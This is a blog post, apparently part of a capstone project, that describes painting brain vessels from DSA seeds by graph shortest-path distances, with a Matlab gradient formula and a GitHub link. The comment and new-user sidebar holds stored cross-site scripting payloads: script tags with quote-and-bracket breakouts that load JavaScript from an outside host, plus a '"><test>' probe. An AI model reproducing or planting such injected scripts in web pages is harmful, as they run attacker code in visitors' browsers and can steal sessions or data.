Paint brain vessels according to seeds


After we have gotten vessel seeds in 3D image according to DSA time information, we need to visualize the vessels using different color to show a nicer view. 

To simplify, we propose the following assumption.

1. Vessels flowing away from the vein seeds are pure blue RGB(0,0,255)

2. Vessels flowing towards the artery seeds are pure red RGB(255,0,0)

3. Vessels located between vein and artery seeds are in gradual color between pure blue and red according to the distances between seed positions.

4. Brain vessels are transformed into node graphs. Each vessel area center of each layer is represented as a node, if vessel area centers in two adjacent layers have common areas in X-Y plain, then these nodes are connected together.

5. Distances are calculated by the shortest path route between two nodes, marked as Da (to the nearest artery seeds) and Dv(to the nearest vein seeds)

6. Gradual color red channel is defined as 255*Da/(Da+Dv), blue channel is defined as 255*Dv/(Da+Dv)


Matlab code are following such assumptions. 

Extract node center in each layer to build a node graph->search each nodes and calculate distance Dand Dv ->calculate color to paint->save 2D images->reconstruct in ImageJ

Code are open in github: https://github.com/clatfd/avm/blob/remote/paint.m


Untitled.jpg

After painting color



This is a part of my Capstone Research

Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39